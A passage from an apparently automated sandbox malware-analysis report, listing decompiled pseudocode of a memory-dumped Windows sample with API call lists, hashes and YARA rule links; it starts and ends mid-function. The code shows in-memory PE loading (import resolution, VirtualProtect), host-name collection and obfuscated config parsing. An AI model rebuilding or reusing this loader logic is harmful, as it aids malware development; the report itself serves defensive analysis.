									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x01739158
0x0173915b
0x0173916b
0x01739174
0x01739178
0x01739246
0x0173924c
0x0173924c
0x01739192
0x01739197
0x0173919b
0x017391a1
0x017391a6
0x017391ad
0x017391bc
0x017391bc
0x017391c0
0x017391c2
0x017391ce
0x017391d9
0x017391e4
0x017391e8
0x017391f2
0x017391f6
0x017391f8
0x017391fd
0x01739204
0x01739214
0x01739214
0x017391fd
0x017391f6
0x01739216
0x0173921b
0x01739220
0x01739220
0x01739226
0x0173922c
0x01739231
0x01739231
0x01739236
0x0173923b
0x0173923b
0x01739236
0x017391c0
0x0173923d
0x01739243
0x00000000

APIs

Part of subcall function 01733AEF: SysAllocString.OLEAUT32(80000002), ref: 01733B46
Part of subcall function 01733AEF: SysFreeString.OLEAUT32(00000000), ref: 01733BAB

SysFreeString.OLEAUT32(?), ref: 01739231
SysFreeString.OLEAUT32(01731885), ref: 0173923B

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 5c29de1145487c0004f88d4a400f3097fc5b034f45ba46bdfbf5b0f5b500f723
Instruction ID: f4aa8f8e060b4dfe93daf8e6d68d95b104acad99b729f30135f5579ec16809ef
Opcode Fuzzy Hash: 5c29de1145487c0004f88d4a400f3097fc5b034f45ba46bdfbf5b0f5b500f723
Instruction Fuzzy Hash: 38317A72900519EFCB21DFA9CC88C9BBB7AFFC97447104658FA059B215E3729D51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000135A, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000135A() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004150;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E10001FE7(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E10001414( &_v32,  &_v16,  *0x1000414c ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E1000102F(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E1000200D(_t44, _t32 + 4);
						}
					}
					_t25 = E10001E11(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001360
0x10001371
0x1000137b
0x10001373
0x10001373
0x10001373
0x10001382
0x1000138b
0x10001390
0x100013ae
0x10001405
0x100013b0
0x100013b6
0x100013bc
0x100013ca
0x100013ce
0x100013d5
0x100013d7
0x100013e3
0x100013e5
0x100013f4
0x100013e7
0x100013ed
0x100013ed
0x100013e5
0x100013fc
0x100013fc
0x10001407

APIs

lstrlenW.KERNEL32(?,?,?,?), ref: 100013B6
ExitThread.KERNEL32 ref: 10001407

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction ID: 2ce771c5e16d54c3ab671480280001d27b24c2f2c6965729a5a09e13ad1247cb
Opcode Fuzzy Hash: bbc03089cd780e3a685a91eb4c0c862dad5948ab76aa5244e081fc2d8405439e
Instruction Fuzzy Hash: D71149B1908245ABF711DBA4CC899CBB7ECEB483C0F02482AF555D7169EB30E6858B55

Uniqueness

Uniqueness Score: -1.00%

Function 017354BC, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E017354BC(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E01732049(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E01739039(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x017354c1
0x017354cc
0x017354ce
0x017354d4
0x017354d6
0x017354db
0x017354e4
0x017354e8
0x017354f1
0x017354f5
0x01735504
0x017354f7
0x017354f8
0x017354fd
0x017354fd
0x017354f5
0x017354e8
0x0173550d

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,0173A306,7519F710,00000000,?,?,0173A306), ref: 017354D4

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

GetComputerNameExA.KERNELBASE(00000003,00000000,0173A306,0173A307,?,?,0173A306), ref: 017354F1

Part of subcall function 01739039: HeapFree.KERNEL32(00000000,00000000,01737F18,00000000,?,?,00000000), ref: 01739045

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: d4a8b1bc1cf2a0f15f40e1f1139e82b0b73e61580298ac58b99c1aea354fb05a
Instruction ID: d083605b077acccdae149a78a38e67009a65b564358928408518fd5c8d33fd21
Opcode Fuzzy Hash: d4a8b1bc1cf2a0f15f40e1f1139e82b0b73e61580298ac58b99c1aea354fb05a
Instruction Fuzzy Hash: B8F0542660015ABAEB11D69A9D44EAFBAAEDBC5650F210065AA04D3146EA70EE018771

Uniqueness

Uniqueness Score: -1.00%

Function 01738055, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x173d23c) == 0) {
						E0173970F();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x173d23c) == 1) {
						_t10 = E01736A56(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x0173805c
0x0173805d
0x01738060
0x01738092
0x01738094
0x01738094
0x01738062
0x01738063
0x01738078
0x0173807f
0x01738081
0x01738081
0x0173807f
0x01738063
0x0173809c

APIs

InterlockedIncrement.KERNEL32(0173D23C), ref: 0173806A

Part of subcall function 01736A56: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0173807D,?), ref: 01736A69

InterlockedDecrement.KERNEL32(0173D23C), ref: 0173808A

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 1514aadc7b1ea47b1265f1fb55d8b30ee868c0ae56150123ea7755e7a2d9232c
Instruction ID: d96a9d731e8ad9ecaff9b0ba6ea8ae379520af7b46170f239f322373fba112ce
Opcode Fuzzy Hash: 1514aadc7b1ea47b1265f1fb55d8b30ee868c0ae56150123ea7755e7a2d9232c
Instruction Fuzzy Hash: 12E086B53442225797336BB9DD08B5EEA50AFD1B91F058614F7C5D407BC670C45187D3

Uniqueness

Uniqueness Score: -1.00%

Function 01739318, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E01739318(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				short _v20;
				intOrPtr _t15;
				short _t17;
				intOrPtr _t19;
				short _t23;

				_t23 = 0;
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x173d27c; // 0x268a5a8
				_t4 = _t15 + 0x173e39c; // 0x3dc8944
				_t20 = _t4;
				_t6 = _t15 + 0x173e124; // 0x650047
				_t17 = E01739152(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					if(_v20 != 8) {
						_t23 = 1;
					} else {
						_t19 = E01739FC9(_t20, _v12);
						if(_t19 == 0) {
							_t23 = 8;
						} else {
							 *_a16 = _t19;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x01739322
0x01739324
0x0173932b
0x0173932c
0x0173932d
0x0173932e
0x01739334
0x01739339
0x01739339
0x01739343
0x01739355
0x0173935c
0x0173938b
0x0173935e
0x01739363
0x01739388
0x01739365
0x01739368
0x0173936f
0x0173937a
0x01739371
0x01739374
0x01739374
0x0173937e
0x0173937e
0x01739363
0x01739392

APIs

Part of subcall function 01739152: SysFreeString.OLEAUT32(?), ref: 01739231

Part of subcall function 01739FC9: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,01737946,004F0053,00000000,?), ref: 01739FD2
Part of subcall function 01739FC9: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,01737946,004F0053,00000000,?), ref: 01739FFC
Part of subcall function 01739FC9: memset.NTDLL ref: 0173A010

SysFreeString.OLEAUT32(00000000), ref: 0173937E

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: ab4363f28d845c6ba28671d143d67496e1735cdcef3656bc4b894c55d2d8534a
Instruction ID: ceaf62472acf826e542d150995bb2c6d718ccf24fa63314b9fc4d74aba2be58d
Opcode Fuzzy Hash: ab4363f28d845c6ba28671d143d67496e1735cdcef3656bc4b894c55d2d8534a
Instruction Fuzzy Hash: 1701B17250401ABFCF219FA8CC48DAEFBB8FB85718F004865EA11E20A6D7B0995887D1

Uniqueness

Uniqueness Score: -1.00%

Function 10001FE7, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E10001FE7(void* __eax, intOrPtr _a4) {

				 *0x10004148 =  *0x10004148 & 0x00000000;
				_push(0);
				_push(0x10004144);
				_push(1);
				_push(_a4);
				 *0x10004140 = 0xc; // executed
				L10001BD6(); // executed
				return __eax;
			}

0x10001fe7
0x10001fee
0x10001ff0
0x10001ff5
0x10001ff7
0x10001ffb
0x10002005
0x1000200a

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001387,00000001,10004144,00000000), ref: 10002005

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction ID: 77fc3a402b1b28792d7a6ab77bf10cd6ea7ed93b7dc72413e294461ac678640d
Opcode Fuzzy Hash: 797134a9b1f988486b15df9cd10c437d68bca56e1d0ccba6a6193b38078adc0e
Instruction Fuzzy Hash: 87C048F8140310ABF620DB019C86FC57AA2B7A4789F224508F200262E8DBB920988A2D

Uniqueness

Uniqueness Score: -1.00%

Function 10001E11, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E10001E11(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x1000414c;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4);
				_t18 = E10001A0F( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E1000125B(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001745(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001179(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E10001DFC(_t42);
					L8:
					return _t29;
				}
			}

0x10001e19
0x10001e1b
0x10001e37
0x10001e48
0x10001e4f
0x10001ead
0x00000000
0x10001e51
0x10001e51
0x10001e5b
0x10001e5f
0x10001e64
0x10001e67
0x10001e6c
0x10001e70
0x10001e75
0x10001e7a
0x10001e7e
0x10001e83
0x10001e84
0x10001e88
0x10001e8d
0x10001e95
0x10001e95
0x10001e8d
0x10001e7e
0x10001e70
0x10001e97
0x10001ea0
0x10001ea4
0x10001eae
0x10001eb4
0x10001eb4

APIs

Part of subcall function 10001A0F: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 10001288
Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 100012BB

Part of subcall function 10001745: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D

Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
Part of subcall function 10001179: GetLastError.KERNEL32 ref: 1000122D

GetLastError.KERNEL32(?,10001401), ref: 10001E8F

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction ID: 2043a04cbec374512fa6f71088344ccde69893edc298cb54b1ed822475c5d404
Opcode Fuzzy Hash: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction Fuzzy Hash: 5A112B7A700756ABE321DBA9CC80DDF77BCEF892947054129FD0197649EAB0FD0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 017321CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E017321CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0x173d330;
				E017384D5();
				while(1) {
					_t8 = E017312D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E0173809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0x173d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E017384D5();
					if(_t19 != 0) {
						_t22 =  *0x173d338; // 0x3dc9b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x017321d5
0x017321d9
0x017321da
0x017321db
0x017321e0
0x017321e5
0x017321ec
0x017321f3
0x00000000
0x00000000
0x017321f5
0x017321fa
0x017321fb
0x01732202
0x0173221c
0x00000000
0x01732204
0x01732204
0x01732206
0x01732209
0x0173220d
0x00000000
0x00000000
0x0173220f
0x0173220d
0x01732224
0x01732224
0x01732226
0x0173222d
0x0173222f
0x01732235
0x0173223c
0x0173224c
0x01732244
0x01732247
0x01732247
0x0173224f
0x0173224f
0x01732258
0x01732258
0x01732222
0x00000000

APIs

Part of subcall function 017384D5: GetProcAddress.KERNEL32(36776F57,017321E5), ref: 017384F0

Part of subcall function 017312D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 017312FF
Part of subcall function 017312D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 01731321
Part of subcall function 017312D4: memset.NTDLL ref: 0173133B
Part of subcall function 017312D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 01731379
Part of subcall function 017312D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0173138D
Part of subcall function 017312D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 017313A4
Part of subcall function 017312D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 017313B0
Part of subcall function 017312D4: lstrcat.KERNEL32(?,642E2A5C), ref: 017313F1
Part of subcall function 017312D4: FindFirstFileA.KERNELBASE(?,?), ref: 01731407

Part of subcall function 0173809F: lstrlen.KERNEL32(?,00000000,0173D330,00000001,01732200,0173D00C,0173D00C,00000000,00000005,00000000,00000000,?,?,?,017396C1,017323E9), ref: 017380A8
Part of subcall function 0173809F: mbstowcs.NTDLL ref: 017380CF
Part of subcall function 0173809F: memset.NTDLL ref: 017380E1

HeapFree.KERNEL32(00000000,0173D00C,0173D00C,0173D00C,00000000,00000005,00000000,00000000,?,?,?,017396C1,017323E9,0173D00C,?,017323E9), ref: 0173221C

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 07f070909d79f0fb05d879c330fa2b1f1b54f7ca559efbfdc208ad0c74f860e0
Instruction ID: c76693c7b2876290f0740d65a28320fbbe15bcb96d4026de609fa3ca8f5cb4c3
Opcode Fuzzy Hash: 07f070909d79f0fb05d879c330fa2b1f1b54f7ca559efbfdc208ad0c74f860e0
Instruction Fuzzy Hash: EF012836308215AAF7105EEACC84F7AF699EBD5274F510036BE44D6057D6B59C419321

Uniqueness

Uniqueness Score: -1.00%

Function 01731262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01731262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E01739318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E01736BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0x173d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x0173126a
0x017312bf
0x017312c4
0x0173126c
0x01731286
0x0173128a
0x0173128f
0x01731291
0x017312a1
0x017312ad
0x01731293
0x01731293
0x01731296
0x0173129b
0x0173129b
0x01731291
0x0173128a
0x017312ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,7519F710,?,?,7519F710,00000000,?,0173743A,?,004F0053,03DC9388,00000000,?), ref: 017312AD

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d99aa183415d5cfe232d46847e427be7b42e757b38a58d3db4c1a8ca21c29ba6
Instruction ID: ac05ce293b89cc6fbaa6cf16c6deb2bedc1e4d78e21704d33ffd8cd1246583a9
Opcode Fuzzy Hash: d99aa183415d5cfe232d46847e427be7b42e757b38a58d3db4c1a8ca21c29ba6
Instruction Fuzzy Hash: E0016972204249FBDB229F88CC05FAABBA6EB94360F54C429FA199A162D771D520CB10

Uniqueness

Uniqueness Score: -1.00%

Function 01732436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E01732436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x01732436
0x01732443
0x01732444
0x01732445
0x0173244c
0x0173247a
0x0173247b
0x0173247e
0x01732484
0x00000000
0x00000000
0x01732463
0x0173246d
0x01732474
0x00000000
0x01732465
0x01732468
0x01732488
0x0173246a
0x0173246a
0x00000000
0x0173246a
0x01732468
0x0173248f
0x01732495
0x01732495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 0173247E

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0e79aa229f7695343ad66f7460ff870486eeea4b541a1d2b3ffe34c0c17b3f27
Instruction ID: 43f5089f716da585e4343e88e263f24653c06f1a96c447183fb8926ccc784653
Opcode Fuzzy Hash: 0e79aa229f7695343ad66f7460ff870486eeea4b541a1d2b3ffe34c0c17b3f27
Instruction Fuzzy Hash: 46F04971C01219EFDB00DB98D488AEDF7B8EF45305F1080AAE602A3202D7B56F84CF62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01734094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E01734094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0x173d278; // 0x63699bc3
				if(E01738748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0x173d2d4 = _v12;
				}
				_t25 =  *0x173d278; // 0x63699bc3
				if(E01738748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0x173d278; // 0x63699bc3
						_t31 = E01733F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0x173d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0x173d278; // 0x63699bc3
						_t32 = E01733F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0x173d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0x173d278; // 0x63699bc3
						_t33 = E01733F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0x173d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0x173d278; // 0x63699bc3
						_t34 = E01733F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0x173d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0x173d278; // 0x63699bc3
						_t35 = E01733F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
